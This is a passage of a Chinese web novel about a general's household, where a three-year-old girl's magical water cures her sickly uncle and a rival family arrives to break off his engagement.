方糖甜腻的口感瞬间在他嘴里蔓延,冲淡了他心中那几分苦涩和忧伤。
仿佛阴云被剥开,得见了天日,闷的心情逐渐得到了化解。
“嘿嘿,好吃吧。”乖宝见他拿完,又用另外一只小手,捏了一块杏仁塞自己嘴里。
她晃着小脑袋,仰头“嘿嘿”笑。
“嗯,好吃。”顾应柏所有的目光,再次被乖宝夺走。
看她小心翼翼将手里,那些还没吃完的干果,继续放进了荷包内又珍惜的合上,仿佛在她眼里,这些对他们而言,在普通不过的东西都是异常珍贵的。
他心脏仿佛被什么东西填满,搂着乖宝的手紧了紧。
乖宝这么小,经历过流浪,大抵对她来说任何食物都弥足珍贵。
有了乖宝的陪伴,顾应柏没在继续多想。
回府后,府里打扫的下人们,各自忙活着,比起隔着一条街的集市,府内更安静。
顾应柏带着乖宝绕过石拱门,穿过游廊直往里走,迎面遇到个丫鬟,开口问道:“夫人呢?”
“夫人在后院的佛堂。”丫鬟禀告道。
将军府,后院有一间屋内放有佛像供奉,顾夫人每日醒后都会在进去抄写金书看经文,为将军府祈福。
顾应柏拉着乖宝,改道穿过花园,继续往前走了几步,在一处沾着香灰味的屋子外停下。
房门正巧从内推开,顾夫人被孙嬷嬷推着出来。
“娘,儿子有要事跟您说。”
顾应柏微微弯曲的指腹,轻轻磨磋了几下,上前道。
“去那。”顾夫人抬眸盯了他一眼,手中磨搓着珠串,瞥了一眼旁边花园的亭子。
孙嬷嬷缓缓推着她过去。
这个时辰,日头射不到亭里,花园里还时不时佛过一阵微风,舒适又不晒人。
顾应柏把乖宝抱一边的石凳上坐下,又侧身坐另一边,眼眼睛眨了眨指腹,弄成了拳头,这才黄华开口道:“今日儿子跟乖宝出门时撞见了清瑶,还碰到了三姐……”
他只将顾嫣说的事告知了顾夫人。
说完整个凉亭又静了下来,只有微风吹拂过草木的声音。
“柏儿,你如何想?”这毕竟是顾应柏的婚事,顾夫人开口问。
顾应柏松开的拳头,又捏紧,说话的声音有些生硬,“儿子自小身体羸弱,更不知能陪清瑶多久,还是不要耽误了她。”
“柏儿,委屈你了。”顾夫人望着亭外的花草树木,心中长叹了一声,心知这林家怕是早已有了别的打算。
那个林清瑶刁蛮任性,又不是个安分的主。
如今将军府这样的光景,只怕已有其他所属之人。
只是苦了他儿子,对林清瑶真心实意的好了这么多年,到头来还是为他人做了嫁衣。
顾应柏又道:“儿子没事,就是此事可会对府上有影响?”
这才是他真正担心的事。
至于他跟林清瑶,在经过乖宝后,他已经看清楚林清瑶跟他并不合适。
他应该庆幸才对,即便身体好娶回来,林清瑶的性格对将军府来说也是麻烦。
顾夫人摆手道:“无妨,你不必担忧,好好养身子就是。”
顾应柏吐了一
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口气,只要不给将军府带来麻烦,他就放心了。
“娘看你最近脸色不错,你也不用这般悲观,说不准哪一日病就好了。”顾夫人看了他一眼,劝了一句。
“对呀对呀!”乖宝没听懂他们后面的话,但却听懂了顾夫人前面说的话。
“乖宝也觉得大伯好了,都不怎么咳嗽了!”
“而且还不吐……”血了!
她后面的话还没说下去。
一只大手伸过来,捂住了她的小嘴。
“唔……嗯?”
她睁着一双大大的眼睛,在祖母跟大伯之间来回晃悠。
“儿子突然间想起,还有些事没忙完就先退下了。”说着他便起身抱起了边上的乖宝,风风火火,快步往凉亭外走。
乖宝掰开他的手,小眉头紧皱:“唔唔唔……”
她跟只小麻雀一样,仿佛有无数话要说,但是被人封住了喉咙。
顾夫人跟孙嬷嬷望着他们,忍不住露出笑意。
孙嬷嬷道:“自从小姐来了后,大公子性子也越来越开朗了。”
顾夫人并未说话,脸上的笑意却不减。
何止是应柏,整个将军府都活络起来了。
顾应柏单手搂住她的腿,另一手捂着她的嘴,生怕她多说一句,迈着步子,穿过了游廊,直奔自己的院子。
乖宝被他搂在怀里,直到进了书房才把她放下。
“乖宝,以后这事儿别跟祖母说,也别跟你爹说知道吗?”他少了一眼院子四周发现没人,把门偷偷关上。
顾应柏回头,蹲下跟乖宝平视,温声开口与她商量。
乖宝挠挠头,“好吧,我记住了。”
“你记住什么了?跟大伯再说一遍。”顾应柏望着她那双迷茫的眼睛,又道。
乖宝沉默片刻:“不说大伯吐血的事?”
“对,乖宝真棒。”顾应柏亲了一下乖宝的小脸。
乖宝红着小脸,挠挠额头:“可是大伯,真的不吐血了,也没怎么咳啦。”
顾应柏闻言,神色瞬间一变,摸了摸自己的胸口,又轻轻咳了几声。
那种喉咙发痒,一直想咳的感觉并未产生。
是啊……
他除了刚才在外面咳了一阵,方才抱着乖宝快步进来,不仅不咳,而且连长喘息都没有。
甚至他还觉得轻松,完全没有之前那种沉重,疲倦的意思。
前段时间他就感觉好了一些,还以为自是错觉呢。
顾应柏仔细想想,发现这些天,不仅咳的少了,连胸口的闷痛也少了不少。
难道他真的有所改善了?
第二十八章 大伯:乖宝是我家小神仙!
“大伯,说完了么有?乖宝要去找嬷嬷了。”乖宝双手叉腰,小脸微红,不知道是太阳晒得还是让顾应柏亲的。
顾应柏看她跟个小大人似的,眼里还带着“有活干,我很忙,没空陪你”的无奈,忍不住抽嘴笑了笑。
“去吧去吧。”
乖宝拉开了门,跨过门槛,大摇大摆的走了。
顾应柏望着她小小的身影笑了笑,而后脸又沉了下来,把小厮叫过来。
“去把济世堂的林大夫请来。”
小厮听完大喜,难道公子终于想通了,要让大夫看病了?
他急急忙忙退下,生怕自己家公子又反悔了。
没多久,林大夫提着药箱来了。
“林大夫请。”小厮赶紧把人迎上来。
顾应柏听到声音,放下了手中的书册,朝着林大夫做了个请姿。
林大夫盯着顾应柏神色骤然一顿。
如今站在他面前的人,面白却带着一丝血气,完全不像一个月前,那副苍白发绿,死气沉沉的样子。
林大夫打量了顾应柏一眼,眼神里带着些诧异,“将军府可是有喜事?”
“大夫,你说笑了,将军府近日哪来的喜事。”边上的小厮开口道。
顾应柏伸出了自己的手,纤长的手腕,白里透着青丝,手腕瘦得连骨头都能清晰的苗刻出来。
林大夫按住了顾应柏的脉搏,指腹这才刚触碰上,那铿锵有力的搏动,海浪一般浮动。
这根本就不是一个将死之人该有的脉动!
他吓了一大跳,立刻撤回了手,身子往后撤。
“大夫,怎么了?”顾应柏跟小厮神情紧张地盯着林大夫。
顾应柏心都快沉到谷底了,难道他现在的转好,真的只是死前回光返照。
林大夫已经经历过上次给顾应决把脉时,活见鬼的心情了,但还是绷不住的心脏发颤。
将军府这怎么一个比一个离谱!
他深吸一口气冷静下来,赶紧又按住了顾应柏的脉搏
“这……”林大夫抬眸又看了一眼,他那瘦弱的手腕,眼中闪过一丝怀疑,又看了一眼他那张脸确认。
真是神了!
将军府到底用的是什么药,能治百病不成。
不仅能让顾应决活过来,还能把顾应柏这朽木一般的身体,从死亡边缘拉回来。
“大夫你倒是说句话呀!我家公子到底怎么了?”边上的小厮急的不行,扬声开口道。
林大夫瞪圆了眼睛,听到小厮的话后才缓缓的缓过神来。
他挪了挪嘴才开口道:“公子脉搏已有强劲之势,再过不久便能跟普通人没有区别,唯一有的区别就是,公子心肺功能不全,不能像普通人一样,做一些剧烈的运动。”
这话一出,整个屋内一片寂静,只有风拂过窗棂时发出来的沙沙声。
顾应柏耳朵嗡嗡响,有一瞬间仿佛失聪了一样,“你……你说什么?”
他挪动着嘴,又反问了一句。
“说你这身体,好了不少,除了不能大跑大跳,还可适当运动,先前你总是咳嗽,那是心肺受损,如今已有所康复,近期应当咳嗽减缓,连急喘也少了。”林大夫开口又道。
“不过话虽如此,还是要时刻注意一些,你这本就是娘胎带来得,马虎不得。”
“太,太好了!公子,您的病有好转了。”小厮高兴地都快跳起来了。
顾应柏在小厮的欢呼声中逐渐回神。
“我知道了,你先退下,我有事要问大夫。”
他的病自己心里都清楚。
大夫开的那些药治标不治本,根本就不可能让他的病有所好转。
小厮俯下身行了一礼,识趣的退下。
顾应柏抬眸望着林大夫,询问道:“之前你给我开的那些药,有作用了?”
林大夫心头一紧,这怕又是试探他呢。
万一说错一句话,于他而言,那都是灭顶之灾。
他赶紧摇摇头,俯下身在顾应柏面前跪下。
“请大公子放心,将军府的事情,草民出了府,绝口不提。”
“放心,不会要你性命,只是有些事要问你。”
“公子这病,自娘胎里来,世上无药可治,只能用药物延长寿命,而上一个月,草民发现那药已对公子无用,那时草民便断定公子,只有半年可活……”
“如今的情况变了,
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公子的寿命,已经不是草民能断言。”
“说不准日后公子亦能福寿绵长。”林大夫开口道。
有了那秘药,活到长命百岁也说不准。
但林大夫没有点破。
这些话,如惊涛骇浪般,冲击者顾应柏。
林大夫这意思是,他还能继续活着!
“当真?”
“自然。”林大夫觉得顾应柏的反应挺奇怪,将军府那秘药之事。
夫人知道,大公子会不知晓吗?
顾应柏激动地呼吸都急促了不少,脸也微微泛起了红,指腹紧紧握成拳头。
这对他来说简直就是天大的好事!
“此事特殊,还请林大夫,保密这件事情绝对不能让任何人知道。”
林大夫点了点头,不用说,他也清楚,先前他早就已经答应了顾夫人,如今不过是继续守住此事。
顾应柏让小厮给了林大夫一大笔钱,打发他离开。
书房内,只剩下顾应柏一人。
顾应柏一脸匪夷所思,实在想不明白,自己这病究竟是怎么好的。
难道真如母亲说的那样,一切都是乖宝带来的福气?
乖宝还真是小神仙不成。
不过仔细想想还真有可能,乖宝来了后,三弟活了,身子也逐渐好转,他这体弱也在好转。
顾应柏一个不信佛的人,第二天一早就去了顾夫人的佛堂,他决定好好感谢佛祖将乖宝送到他们府上。
顾夫人看他热切的跪下磕头,以为他想借念佛修养身心,也没多问。
“乖宝,醒了吗?我去看看。”顾应柏净手后,一边擦拭一边压着声问孙嬷嬷。
他已经迫不及待要去看看,府上真正的小神仙了。
佛堂安静,只有青烟往上冒,顾夫人静静地坐在蒲团上手里滑动着佛珠,嘴里默念着什么。
边上的孙嬷嬷轻声道:“这会儿应当醒了。”
顾应柏压着步子出去,到了门外快步往乖宝的卧房走。
乖宝已经醒了,见屋子里没人,又摸着玉佩,从床榻爬下来,蹑手蹑脚地揭开昨日喝空的茶壶,刚捏着玉佩放茶壶上放。
房门突然从外面推开……
第二十九章 顾应决气得胸口发闷
“乖宝。”
顾应柏看到乖宝,穿着里衣站凳子上,手捏着玉佩。
“啊啊啊!”
乖宝看到突然出现的顾应柏,脸色瞬间大变,往后退了一步,小身板从凳子上摔落下。
“乖宝!”
顾应柏在她掉下的一刹那,脑子一片空白。
不知哪来的劲头,脑子还没反应过来时,人已经扑了过去。
乖宝以为的疼痛并未到来,睁开眼睛,发现大伯趴在地上,用身体给她当了肉垫。
“乖宝没事吧?嘶……”顾应柏刚才扑过来那一下不轻,这会儿不仅膝盖疼,腰也疼。
他把乖宝拉了起来,扶着腰慢悠悠地站起身。
乖宝紧张地抓住了顾应柏的手,翻开他的手心。
顾应柏白皙的手心蹭破了皮,出了点血。
“大伯,你受伤了。”
乖宝瘪着小嘴,眼睛发红,捏着他的手掌,轻轻吹了吹。
大伯都是因为保护乖宝才受伤的。
“大伯,没事。”顾应柏摸了摸乖宝的小脸,顺势坐在边上的矮凳上。
乖宝沉着小脸没说话,走到了桌边上,端起了茶壶,里面的水已经满了,就在刚才大伯进来的时候,玉佩已经给水装好了。
她从桌上抓了个杯子,吃力地端起茶壶,往杯子里倒水,茶壶太重了,扶着的小手晃了晃,壶嘴没对准杯口,洒在了桌上。
顾应柏端住了茶壶,“乖宝,大伯自己来。”
乖宝点了点头。
心里想着,只要大伯喝了水就不疼了。
顾应柏给自己倒了杯水,又拿出了手帕,擦拭桌面上的水渍,手帕被水浸透,接触到顾应柏受伤的肌肤上。
一丝冰凉浸入,缓解了疼意,还多了些瘙痒。
他松开了手,抬掌,瞳孔骤然一缩。
“这……”
顾应柏擦伤的手掌,那些出血的刮痕,变成了一道道淡粉色的印子,这疤痕一看就是过了好几天都快长好了。
他整个人都愣住了,回过神。
像是为了验证什么,对着自己的手指咬了一口,鲜血瞬间涌出,抓起了桌上的手帕,擦了擦指腹。
指腹不再出血,伤口贴合在一起,不仔细一看,根本看不出那受伤了。
“水!”
就是这水的原因。
顾应柏此时才意识到自己,一直以来都忽略掉的问题。
他盯着那杯水,看了两秒,仰头喝尽。
那种深入发丝一般的舒爽,穿过喉咙涌入心肺,连刚才蹭到的膝盖都不痛了,腰也没有那酸胀刺痛感。
是了!
这水跟上次他吐血时,乖宝给他喝的水一模一样,喝完之后他觉得身体异常舒适。
还以为是自己味觉出问题了,可从那之后。
让小厮打了无数壶茶水,再也没出现过同样一喝喉咙身体就舒服的感觉。
除了乖宝之前给他喝的葡萄冰水。
一切都能说得通了。
乖宝给他喝的水,有着超乎想象的治愈作用。
想必当初三弟能起死回生,也是乖宝的功劳。
顾应柏垂眸盯着站在地上的乖宝,胸口激动无比,甚至还多了一丝敬畏。
乖宝果然是上苍,派来救他们将军府的小神仙。
不!
应该说是小福星。
神仙下凡,那就是凡人,这是他们将军府莫大的荣幸。
“大伯,你还难受吗?”乖宝对上他炽热的目光,觉得顾应柏有些奇怪。
顾应柏望着她,摇头不语,只一味勾着嘴笑。
看起来有点,傻憨憨的。
乖宝让他给弄迷糊了,揉了一把额头,转身往屏风后面跑。
等她回来,手里多了一个水袋。
这个水袋还是昨天,乖宝让嬷嬷帮忙洗干净,趁嬷嬷出去拿晚膳时,偷偷往里面装的泉水。
“大伯这个给你,渴了就喝,难受了也要记得喝。”
“呃呃呃……多喝水对身体好。”乖宝绞尽脑汁,又挤出了一句话。
“知道了,谢谢乖宝。”顾应柏接过那水袋,不用猜也知道,这里面的水跟杯子里一样。
顾应柏盯着乖宝,抿了抿唇,正准备问点什么。
门口走进来一道身影,嬷嬷将手里的食盒放下,朝着顾应柏行礼。
“嬷嬷,今天吃什么早餐?”乖宝小跑过来,搂住嬷嬷的腿。
嬷嬷笑着道:“有小姐喜欢的牛乳小汤圆,还有小蒸包,水晶南瓜糕。”
“嘿嘿,乖宝都要吃!”
乖宝兴奋地蹦了几下。
嬷嬷拉着她笑道:“好,奴婢这就给小姐穿衣裳,洗漱完就能用膳了。”
屋子里还有一个,让她们无法忽视的人。
乖宝看了一眼,还没走的顾应柏,开口道:
“大伯,乖宝要穿衣服啦,等有空再跟你玩哦。”
“你回去好好注意身体,要多喝水呀。”
顾应柏
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知道,小家伙这是要赶人了。
他勾唇笑了笑,“知道了。”
小家伙每天的行程,看起来比他这个将军府掌事的大人还要忙活。
顾应柏走后,乖宝吃完早膳,就又去找顾应决了。
她手里抱着个水袋,吃力的绕过游廊,穿过花园,走到将军府后院一处偏僻幽静的小院子里。
“我爹爹呢?”
小厮正在门口熬药,看她过来,上前道:
“将军还在屋内歇着呢。”
“小姐,将军好几天没出门了,您看今日太阳这么好,闷在屋子里多不舒服。”他压着声音,在乖宝耳边开口道。
将军消沉好几天了,怎么劝也没用。
乖宝抱着手里的水袋,迈步走到门口,耳朵抵着房门。
她压着声道:“爹爹……”
“乖宝来了,我……我有东西给你哦。”
里面依旧一片寂静,过了几秒后。
乖宝以为爹睡着了,打算把水袋交给小厮就走时。
里头顾应决低沉的声音响起。“让她进来。”
小厮眉头一抬,赶紧推开了房门。
乖宝就闻到了一大股难闻的药味,
屋内阴暗,只有窗户那透过来的一些光亮。
顾应决靠坐在床头边,整个人被黑暗笼罩。
低沉压抑,透着死气。
乖宝不喜欢屋子里的气氛,皱了皱鼻子,迈着步子走了进去。
“爹爹!”
“我今天跟大伯出去玩了,还买了这个,这个给你。”
她把自己手里的水袋递给顾应决。
顾应决盯了她一眼,目光落在那水袋上,气得胸口发闷。
小崽子真是什么也敢胡乱送人。
这样寻常无用的东西,她拿过来孝敬他。
将军府何时落魄成这样了?
她到底是真在乎他这个爹,还是只做做样子。
“爹,要多喝水,才能好起来。”乖宝见他没说话,以为他是默认了。
顾应决捂着嘴,咳了一声,眼神阴郁:
“你昨日跟大哥出去,就买了这玩意?”
乖宝没觉得有什么不对,点了点小脑袋,轻“嗯”了一声。
顾应决盯着她那双天真无邪的大眼睛,想发火说她几句,到嘴大的话又卡喉咙里。
“你就送袋水过来?”他喉咙里撺着的火气,说出口时又压低了声音,变成了询问。
这哪怕是送几块糕点来都比这好。
第三十章 新的开始
乖宝睁着眼睛盯着他,乖巧地点头。
“没买别的了?”顾应决蹙眉,一度怀疑下人苛待,糊弄她。
仔细想想又根本不可能,娘跟大哥把她当眼珠子看待,下人再犯蠢也不可能薄待她。
乖宝想了想道:“买了,大伯给乖宝买了金光闪闪的簪子,手镯,还有项链,乖宝还给祖母买了玉镯子首饰……”
她昨晚就把首饰给祖母了,祖母还说等哪天出去就戴乖宝送的。
顾应决笑了,笑的有点难看,抽了抽嘴道:
“所以你就给我送了一袋水来?”
他说话的声音有几分冷。
小崽子还挺会讨好人,知道谁对她好,就买些好东西送。
小小年纪,心思还挺多。
乖宝撅了撅小嘴,明显感觉到爹好像不太喜欢。
“乖宝想让爹快点好起来的,喝水水爹就不难受……”她有些失落地垂下头,说话的声音都带着气音。
“爹不喜欢的话,那乖宝下次再给爹买更好的东西。”
乖宝一副做错了事,拘谨地站在那,小手叠交。
她说的那些话,一字一句都透着关切和真情。
仿佛在她眼里,东西没有贵贱之分,只有她觉得对方需要,也真心为对方考虑。
空气里低沉的因子,继续发酵。
顾应决望着跟前小小的人儿,心里莫名有些发堵,好似压了一块大石头,一时不知要怎么开口。
他逐渐意识到自己误会乖宝了,而那些质问话,也伤到了孩子的心。
“我……”
顾应决挪了挪唇角,想说些什么,却不知道该怎么说。
“爹,想喝就喝吧,并不想喝就让小厮哥哥倒倒掉。”
乖宝说完,转身迈着小碎步跑了。
她一边走,一边揉发痒的鼻子。
乖宝不明白爹不喜欢就不喜欢,为什么还一直问送水袋的事。
说话还那么凶。
哼!
大人真是太难懂了。
而这一幕,正巧被靠在床边,正透过窗户,望着廊道那处的顾应决看了个正着。
顾应决盯着乖宝的小身影,心有些发酸,胸口有些难受。
小崽子又被他惹哭了?
边上的小厮开口道:“将军,小姐才多大,三岁!”
“这么小的孩子,能日日记着看望您,足以说明孝心了,给你送水那是盼着您好。”
“这么小的孩子,哪知道什么东西好什么东西差。”
“不过我们小姐善良,想必这事也不会记在心上,不过您……”太过分了。
这话小厮没敢真说出来。
顾应决锁紧了眉头,硬着头皮开口:“那你说该如何?”
小厮挑眉,看来将军还是在意小姐的。
“您不如让人买些小孩喜欢的东西?小孩子嘛,哄哄就好了。”
顾应决听到哄字,眼神顿了顿,有些窘迫地清了清嗓子:“你亲自去买。”
小厮听他这么说,眼皮跳了下,“好,奴才这就出去买。”
顾应决看着小厮离开,目光落到床榻边的水袋上,抓了那水袋盯了一眼,跟寻常百姓用的没什么区别。
他将那水袋放在了床边的矮桌上。
乖宝回屋的途中路过了顾应柏的院子,被顾应柏叫进屋子,玩九连环。
响午,小厮带着买的东西,寻到了顾应柏屋内。
乖宝吃完午膳,就鼓着小肚皮在罗汉床上睡了。
“大公子,这是少将军给小姐买的礼物。”小厮将手里的一大堆东西,放在了大圆桌上。
小厮余光扫了一眼还在睡觉的乖宝,可惜了。
要是小姐还醒着,高兴之下说不准不仅原谅了将军,还跟着他一起去见见将军。
顾应柏闻言,放下了手中的书册,挑眉扫了一眼,桌案上的东西。
“放下吧。”
待小厮离开,他勾唇笑了笑。
还以为他那个嘴硬心软的弟弟能撑多久,嘴上说着不想见乖宝。
还不是照样叫人送一堆东西过来哄人。
顾应柏在乖宝过来时,就发现了小家伙情绪有些不对劲。
虽没仔细问,但知道她去了顾应决那,就猜到决儿肯定又惹乖宝难过了。
罗汉床那边传来动静,乖宝翻了身,挠了挠小肚皮,睁开了眼睛,躺床榻上发了阵呆。
她揉着眼睛,从床榻上爬了下来,挤着鞋子走过来。
“大伯……”
顾应柏吩咐下人去打水来,俯下身把乖宝抱到桌边。
“乖宝,快看这是什么。”
乖宝目光往桌上看,桌面上摆着一个兔子形状的风筝,还有一个鲁班锁,竹编的蚂蚱,纸糊的鱼灯笼,泥塑兔儿爷,毽子等。
“哇!这些都是给乖宝的吗?”
“嗯,你爹给你买的。”顾应柏对上她那双晶莹的眼睛,开口道。
乖宝闻言,眼睛睁大。
爹爹不是不喜欢乖宝的礼物吗?
为什么还要给乖宝买这么多东西。
顾应柏对上乖宝疑惑的目光,替弟
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弟解释道:
“乖宝,你爹爹可能觉得自己,不该那么对乖宝。”
“所以想求乖宝的原谅,但是不知道怎么开口。”
“乖宝,可以原谅他吗?”
乖宝迷迷糊糊点头,不太懂顾应柏说的话。
认为是爹不喜欢乖宝的继续,还是给乖宝回礼了。
“原谅爹。”
那爹爹凶她的事情,就算啦吧!
下人端了温水进来,顾应柏接过温热的面帕,替乖宝擦了擦脸。
陪着乖宝,在屋内吃了块糕点。
乖宝就迫不及待,拉着他去花园。
她手里捏着个风筝顾应柏,替她提着风筝。
她一脸骄傲道:“大伯,乖宝要让风筝飞,很高很高。”
她抓着风筝,跟个放飞自我的小狗崽崽一样,快步往前跑。
顾应柏松开了手里风筝,风筝随风一直飘到了上空。
“哇!乖宝的风筝飘起来啦,嘿嘿。”
乖宝手里捏着手柄,轻轻地继续将线放出去,小嘴洋溢着开心的笑容。
顾应柏心想,府里花园还是小了,乖宝放风筝,还是需要一个宽敞一点的地方。
小家伙这才跑了几圈,就跑完了。
“乖宝。”他冲乖宝招手,乖宝挥起了自己的小手,盯着天上的风筝。
他拉着线往固定摆的方向跑。
跑着跑着撞到了什么东西?跌坐在草坪上,抬头一看,对上了顾应决那张脸。
“爹爹!”
“小姐,您快起来摔到哪了没?”边上的小厮吓了一跳,赶紧上前将乖宝扶了起来。
乖宝摇了摇头,开口道:“没有。”
“嘿嘿,爹你快看乖宝的风筝。”她起来后,蹦着跳着,挥动着手里的线。
小人儿小脸热的发红,欢快的心情不减半分。
一双眼睛在阳光下,发着灿灿的光,不带一丝杂质。
顾应决垂眸,望着她那张明媚的笑脸,不知不觉间受了感染,喉间发痒,轻“嗯”了一声。
不知道为什么。
他总觉得这么一个小东西,身上仿佛藏着一股魔力,让人忍不住受她影响。
比如他大哥常年病弱,何曾在阳光下跑过笑过,换做以前想想都不可思议。
“决儿。”顾应柏走过来,收起了笑容,跟弟弟对视了一眼,两人齐齐望着不远处奔跑的孩子。
黄昏落日的余晖撒在花园里。
蝴蝶绕着乖宝,在花丛中翩翩飞,仿佛在庆祝将军府迎来的新开始。
第三十一章 上门退亲
林府书房。
林清瑶总算等到她爹明日休沐,红着眼睛冲进了林大人的书房。
“爹,我不要嫁给顾应柏,我们去把这门婚事退了好不好?”
“瑶儿,你这是怎么了?”林大人正跟长子,议事就见女儿气冲冲地进来,疑惑道。
“还不是那顾应柏,居然当着京城世家小姐的面羞辱女儿。”
她添油加醋的,将昨日发生的事情跟林父说了一遍,直接忽略了她抢乖宝头面的事。
“不过是一个头面而已,他竟然为了那个孩子斥责女儿不懂事,连个孩子都不如,还说女儿不配做将军府的长媳。”
“女儿气急,说要退婚,他竟直接同意了。”
“实在太过分了!”林家大公子在边上怒斥道。
“爹,前段日子国公夫人,还有意让妹妹嫁给国公府的三公子,那顾应柏真当以为我们清瑶没人娶,只能嫁给他一个病秧子?”
“他现在就这般嚣张,日后妹妹真嫁给他,还不知道怎么样呢。”顾应柏那个病秧子有什么好。
日后都不能入朝为官,顾应决都成废物了,将军府日后只怕是,为官的都没有。
这样的岳家,要他说还不如,让林清晚嫁给国公府有用。
林清瑶用手帕拭泪,余光扫了一眼身侧的兄长,眼中闪过一抹笑意,不枉她昨日回来对兄长的哭诉和游说。
有了兄长的帮助,还愁说服不了父亲?
林父蹙眉,摸着胡须正思索着,边上的小厮禀报,说国公府世子来了。
这话落下,众人神色微变,立刻出门去迎。
第二日一早,天大亮没多久,将军府洒扫的下人才刚把府里扫了一遍,大门口就迎来了几个人。
为首的正是国公夫人,身后的是林府一家。
“叫姜凤芝出来,本夫人找她有事商议。”国公夫人朝着一侧的下人开口道。
府里的众人见他们来势汹汹,心里顿时有了不好的预感。
顾夫人正在厅堂内,跟乖宝还有顾应柏用早饭。
听了下人禀报,顾夫人跟顾应柏都放下了碗筷。
乖宝舔了舔唇瓣上残留的粥,疑惑的看了一眼顾夫人,以及身侧的顾应柏。
她从两人耳中听到了,“林府”林小姐等字样,大概猜测是那个姐姐来了。
两人起身去了前厅,乖宝被嬷嬷拉着,说让带她去花园玩。
“嬷嬷,大伯跟祖母会不会被他们欺负?”乖宝有些担忧地看着嬷嬷,奶声奶气的开口道。
“这个……自然不会。”嬷嬷嘴角挤出一抹笑,回应道。
话虽如此,其实她心里也不上不下,那林府今日过来,只怕是不善。
“我们去找爹爹吧。”乖宝挠挠头,扯了扯嬷嬷的手。
她们要是敢伤害祖母还有大伯。
爹爹,那么厉害,肯定能一巴掌拍飞他们。
将军府大厅内。
顾夫人跟顾应柏坐在上首的位置上,下人们上前将茶水摆放在八仙桌上。
“不知国公夫人跟林大人,一早过来所谓何事?”
顾夫人神色淡淡地端着茶盏,抿了一口开口道。
林大人起身,朝着顾夫人行了个礼,又抬眸看了顾夫人一眼,挪着嘴想开口,却又不知从何说起。
国公夫人见他面露难色,实在受不了他犹豫不决。
“姜凤芝,我们今天过来是为了退婚。”国公夫人率先开口道。
“你儿子什么样你心里清楚,何必误了人家姑娘的婚姻大事。”
“不如现在就把这婚事给退了,也好过蹉跎林姑娘。”国公夫人在居高临下地望着轮椅上的顾夫人,阴阳怪气的声音中带着一丝戏谑。
“这是我将军府的事情,与你何干。”顾夫人面淡定,指腹不断攥着佛珠。
“我自然是林大人找来,为清瑶退婚做公证人的。”国公夫人冷笑了笑。
其实在场的大家心里都清楚,国公夫人是林府找来撑腰的。
“我要林府自己说。”顾夫人余光扫了一眼,一直沉默不语的林大人一家。
他们垂着头,不敢发出声音。
林大人作为林家家主,此时自不能推脱,起身朝着顾夫人行了一礼。<
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br>“顾公子,虽好但身子欠佳,下官实在不愿看到小女婚后受罪。”
“还请夫人,放过我女儿。”
顾夫人冷着脸,抬眸瞥了林大人一眼,神色锋利:
“林大人难道忘了,当初要不是我夫君,林大人当年早已死在狱中。”
“大人在明知我儿天生病弱,却还是主动跟我夫君提出要把女儿嫁给柏儿。”
“如今却拿柏儿身子不好之事做文章,又让将军府放过你女儿。”
顾夫人说话呀冷硬,直指林大人的内心:“林大人说出这话,不觉得羞愧吗?”
当初林府有难,得了手握重权的顾徇解救,这才得以伸冤,如今将军府没落,又开始趁机卸磨杀驴。
林大人真是打的好算盘!
这话落下,林父面色难堪,垂眸不语。
国公夫人闻言,开口道:“那都是多年前的事情,林大人也没想到顾应柏身子会差成这样,林大人也是爱女心切。”
“总不能为了恩情,白白搭上一个女儿。”
边上的林大公子余光扫了一眼顾应柏,脸上露出一丝鄙夷:“是啊,谁知道,顾应柏身子差成如今这般模样。”
“难道你们将军府,还想让我妹妹守活寡不成?”
“你住口!我家公子还没死呢。”小厮气的大声呵斥道。
“没死,也对现在还没死,你看他这个样子,怎么看也不像能活长的样子。”林大公子抽嘴,露出一丝揶揄的笑意。
“你胡说八道什么,睁大你的眼睛看看,我家公子明明好好的。”小厮被他这话气得脸色通红。
顾应柏捂着嘴轻“咳”了一声。
林大公子听到他咳嗽,嘴角溢出一丝戏谑的笑意,就这样还算好?
“林清瑶,我儿待你不错,你就这么看着他们羞辱我儿?”顾夫人余光扫了一眼,在边上一直不吭声的林清瑶。
这事归根也是应柏跟清瑶的事,他们再如何说,也抵不过两个孩子的想法。
林清瑶捏紧了手中的面帕,咬着唇艰难道:“清瑶,不愿嫁给应柏哥哥。”
第三十二章 老夫人起来了!
林清瑶还没抬眸,就感受到了顾夫人跟顾应柏炽热的目光,硬着头皮道:
“应柏哥哥,这么多年清瑶都被人说成是病秧子的妻子,外头的人都不知道如何笑话我。”
“这么多年的苦楚,你如何知晓。”她搅着手帕委屈道。
国公夫人答应她,等她跟顾应柏退了亲事,就立刻让国公府的三公子娶她。
三公子长的明朗英俊,身材高大威猛,哪里像顾应柏,瘦弱不堪,浑身还一股子药味,难闻**。
每次顾应柏靠近自己,她都忍不住想要作呕。
奈何两家婚事,她自己做不了主,只能忍着内心的难受。
如今有了更好的选择,她为何还要继续忍受下去!
顾应柏听到她这话,脸色发僵,指腹紧紧抠着椅子手柄,眼里失望的神情越发浓烈。
这些年他掏心掏肺对林清瑶好,到头来却变成他让林清瑶蒙羞。
“就是!我们清瑶,长得好,要什么男人没有,就让她这么一辈子待在将军府里,你们未免也太残忍了!”林大公子猛然从椅子上起来,他从衣袖里拿出了曾经,一个册子。
册子上面烫着两个大红纸:“婚书。”
“这是当年,我爹跟老将军立下的婚约。”
“将军夫人应该还记得吧,一共两份,一份在我们林府手里,一份在将军府内。”
“不如今日就让这婚书作废!”林公子手捏着那婚书,晃了晃。
“要退也是我将军府,你们哪来的脸退亲?”顾应柏手掌拍在桌案上。
将军府曾经何等风光,如何能让一个六品官员的女儿退了婚事。
这要是让京中的人知道,岂不是要成为全京城的笑柄?
“你们将军府,本就耽搁我妹妹多年,若是我妹妹被退婚,她一个女子要如何嫁人?”林公子蹙眉,冷声道。
“顾大公子,反正身子抱恙,京中哪个世家小姐愿意嫁给你,还不如成全我妹妹。”
“你们林府真是好大的脸!”一道雄浑低沉,十分有力的声音响起。
众人脸色瞬间一变,朝着门口的位置看了过去。
顾应决被人推了进来,跟他一同进来的,还有一个三岁小女孩。
乖宝慢悠悠在边上跟着,明显感觉到大厅里气氛低沉,迈着步子小跑到顾夫人跟顾应柏那边。
顾应柏坐在椅子上,气得脸发紫。
乖宝捏了捏大伯的手。
“大伯?”她扬起脑袋,从下往上盯顾应柏。
顾应柏深吸了一口气,那闷堵的仿佛有一块石头,压在胸口的感觉才逐渐好转。
他额头上冒了些细汗,身体有些发冷,乖宝的小手,又软又暖和。
“应决来了?这事是你大哥跟林家的事,你来也无用。”国公夫人扫了一眼顾应决,抽了抽嘴。
